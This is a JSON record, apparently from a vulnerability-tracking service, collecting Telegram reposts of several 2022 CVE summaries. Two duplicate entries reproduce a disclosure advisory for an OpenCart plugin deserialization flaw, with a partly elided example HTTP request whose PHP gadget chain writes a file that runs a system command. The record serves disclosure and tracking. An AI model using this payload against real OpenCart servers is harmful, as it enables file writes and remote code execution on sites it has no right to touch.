{"vulnerability": "cve-2022-2410", "sightings": [{"uuid": "32e42791-61b9-4baf-979c-395e8116feb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24109", "type": "seen", "source": "https://t.me/cibsecurity/62513", "content": "\u203c CVE-2022-24109 \u203c\n\nAn issue was discovered in ONOS 2.5.1. To attack an intent installed by a normal user, a remote attacker can install a duplicate intent with a different key, and then remove the duplicate one. This will remove the flow rules of the intent, even though the intent still exists in the controller.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-20T16:30:42.000000Z"}, {"uuid": "6aaf0646-fccb-44df-abb1-b1b5cc53f35b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24107", "type": "seen", "source": "https://t.me/cibsecurity/49029", "content": "\u203c CVE-2022-24107 \u203c\n\nXpdf prior to 4.04 lacked an integer overflow check in JPXStream.cc.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-30T07:35:04.000000Z"}, {"uuid": "a497b58d-acfd-4b09-b910-6ee41c454423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24105", "type": "seen", "source": "https://t.me/cibsecurity/42148", "content": "\u203c CVE-2022-24105 \u203c\n\nAdobe Photoshop versions 22.5.6 (and earlier)and 23.2.2 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious U3D file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-06T22:23:14.000000Z"}, {"uuid": "3f1c9883-6c6b-4106-8234-2180a559866b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24108", "type": "seen", "source": "https://t.me/cibsecurity/42836", "content": "\u203c CVE-2022-24108 \u203c\n\nThe Skyoftech So Listing Tabs module 2.2.0 for OpenCart allows a remote attacker to inject a serialized PHP object via the setting parameter, potentially resulting in the ability to write to files on the server, cause DoS, and achieve remote code execution because of deserialization of untrusted data.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-07-01T19:23:44.000000Z"}, {"uuid": "c4fc3c2e-9102-42dc-af7f-a593a8f848b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24101", "type": "seen", "source": "https://t.me/cibsecurity/42414", "content": "\u203c CVE-2022-24101 \u203c\n\nAcrobat Reader DC versions 20.001.20085 (and earlier), 20.005.3031x (and earlier) and 17.012.30205 (and earlier) are affected by a use-after-free vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-11T22:34:36.000000Z"}, {"uuid": "ae58b891-58aa-42c6-93d1-58f5a7e16f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24102", "type": "seen", "source": "https://t.me/cibsecurity/42407", "content": "\u203c CVE-2022-24102 \u203c\n\nAcrobat Reader DC versions 20.001.20085 (and earlier), 20.005.3031x (and earlier) and 17.012.30205 (and earlier) are affected by a use-after-free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-11T22:34:26.000000Z"}, {"uuid": "8eac5676-9d3e-4005-8d67-f0441a9e1210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24108", "type": "seen", "source": "https://t.me/hacking_Attack/53793", "content": "Exploit Collector\nOpenCart So Listing Tabs 2.2.0 Unsafe Deserialization\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png OpenCart So Listing Tabs component versions 2.2.0 and below suffer from a deserialization vulnerability that can allow for arbitrary file writes.\n\nSHA-256 | 3bfd18c825f10a8abfe964c1ea209688517e067de8a3b9c084594fcd34b53d85Download [-] Affected Versions:\n\nVersion 2.2.0 is affected, and prior versions are likely affected too.\n\n[-] Vulnerabilities Description:\n\nVulnerable component is switching to another tab. To exploit\nvulnerability, an attacker may send a POST request (with\napplication/x-www-form-urlencoded content-type) to AJAX endpoint\n(usually \"/index.php\") with \"is_ajax_listing_tabs\" parameter set to\n\"1\" and \"setting\" parameter containing a PHP-serialized object,\nwhich would be deserialized at server-side. Gadget-chains based on PHP\nserver-side code can be used to gain remote code execution, file\nwrite, DOS, etc.\n\nSo Listing Tabs is an Opencart plugin, so the Opencart PHP classes are\navailable in webapp lifecycle. In source code of Opencart there is a PHP\ngadget-chain which allows to write a file to the server.\nUsing this gadget, an attacker can write .php files with PHP code inside\napp's web root and then execute it via requesting them, thus gaining\nremote code\nexecution, which makes insecure deserialization in So Listing Tabs\nespecially dangerous. Ability to write files can also be used to DOS the\nsystem by writing large files and exhausting disk space, it can be used to\nperform XSS attacks by creating HTML files inside web root.\n\nHere is an example of request which will write PHP file on server\nin /tmp directory:\n\n---\nPOST /index.php HTTP/2\nHost: 0.0.0.0\nContent-Length: 3870\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: http://0.0.0.0/\n\nis_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&\nsetting=a%3a74%3a{s%3a6%3a\"action\"%3bs%3a9%3a\"save_edit\"%3b...\n...\ns%3a2%3a\"aa\"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2\n2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%\n22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3\n2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca\nche_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs\n%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+\nsystem%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157\n---\n\n[-] Solution:\n\nNo official solution is currently available.\n\n[-] Disclosure Timeline:\n\n[28/01/2022] - CVE number assigned\n[31/01/2022] - Vendor contacted\n[02/02/2022] - Vendor asked for description of vulnerability\n[02/02/2022] - Send report to vendor\n[11/02/2022] - Vendor contacted for asking about updates\n[11/02/2022] - Vendor answered that did not get the report\n[11/02/2022] - Send report again\n[16/02/2022] - Vendor contacted to ask about receiving the report\n[17/02/2022] - Automatic generated answer about overloaded system\n[07/04/2022] - Vendor contacted again asking for updates\n[15/05/2022] - Vendor contacted to notify about public disclosure\n[16/05/2022] - Vendor contacted to notify about public disclosure to\nenother email\n[16/05/2022] - Public disclosure\n\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.mitre.org)\nhas assigned the id CVE-2022-24108 to these vulnerabilities.\n\n[-] Credits:\n\nVulnerability discovered by\nDenis Mironov (SolidSoft LLC),\nAlexey Smirnov (SolidSoft LLC),\nDaniil Sigalov (SolidSoft LLC),\nDmitry Pavlov (SolidSoft LLC),\nMaxim Malkov (SolidSoft LLC) Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:39.599710Z"}, {"uuid": "a6010502-92cf-4bf0-964b-f97f5c8d165a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24108", "type": "seen", "source": "https://t.me/hacking_Attack/53793", "content": "Exploit Collector\nOpenCart So Listing Tabs 2.2.0 Unsafe Deserialization\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png OpenCart So Listing Tabs component versions 2.2.0 and below suffer from a deserialization vulnerability that can allow for arbitrary file writes.\n\nSHA-256 | 3bfd18c825f10a8abfe964c1ea209688517e067de8a3b9c084594fcd34b53d85Download [-] Affected Versions:\n\nVersion 2.2.0 is affected, and prior versions are likely affected too.\n\n[-] Vulnerabilities Description:\n\nVulnerable component is switching to another tab. To exploit\nvulnerability, an attacker may send a POST request (with\napplication/x-www-form-urlencoded content-type) to AJAX endpoint\n(usually \"/index.php\") with \"is_ajax_listing_tabs\" parameter set to\n\"1\" and \"setting\" parameter containing a PHP-serialized object,\nwhich would be deserialized at server-side. Gadget-chains based on PHP\nserver-side code can be used to gain remote code execution, file\nwrite, DOS, etc.\n\nSo Listing Tabs is an Opencart plugin, so the Opencart PHP classes are\navailable in webapp lifecycle. In source code of Opencart there is a PHP\ngadget-chain which allows to write a file to the server.\nUsing this gadget, an attacker can write .php files with PHP code inside\napp's web root and then execute it via requesting them, thus gaining\nremote code\nexecution, which makes insecure deserialization in So Listing Tabs\nespecially dangerous. Ability to write files can also be used to DOS the\nsystem by writing large files and exhausting disk space, it can be used to\nperform XSS attacks by creating HTML files inside web root.\n\nHere is an example of request which will write PHP file on server\nin /tmp directory:\n\n---\nPOST /index.php HTTP/2\nHost: 0.0.0.0\nContent-Length: 3870\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: http://0.0.0.0/\n\nis_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&\nsetting=a%3a74%3a{s%3a6%3a\"action\"%3bs%3a9%3a\"save_edit\"%3b...\n...\ns%3a2%3a\"aa\"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2\n2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%\n22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3\n2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca\nche_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs\n%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+\nsystem%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157\n---\n\n[-] Solution:\n\nNo official solution is currently available.\n\n[-] Disclosure Timeline:\n\n[28/01/2022] - CVE number assigned\n[31/01/2022] - Vendor contacted\n[02/02/2022] - Vendor asked for description of vulnerability\n[02/02/2022] - Send report to vendor\n[11/02/2022] - Vendor contacted for asking about updates\n[11/02/2022] - Vendor answered that did not get the report\n[11/02/2022] - Send report again\n[16/02/2022] - Vendor contacted to ask about receiving the report\n[17/02/2022] - Automatic generated answer about overloaded system\n[07/04/2022] - Vendor contacted again asking for updates\n[15/05/2022] - Vendor contacted to notify about public disclosure\n[16/05/2022] - Vendor contacted to notify about public disclosure to\nenother email\n[16/05/2022] - Public disclosure\n\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.mitre.org)\nhas assigned the id CVE-2022-24108 to these vulnerabilities.\n\n[-] Credits:\n\nVulnerability discovered by\nDenis Mironov (SolidSoft LLC),\nAlexey Smirnov (SolidSoft LLC),\nDaniil Sigalov (SolidSoft LLC),\nDmitry Pavlov (SolidSoft LLC),\nMaxim Malkov (SolidSoft LLC) Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:49.336171Z"}]}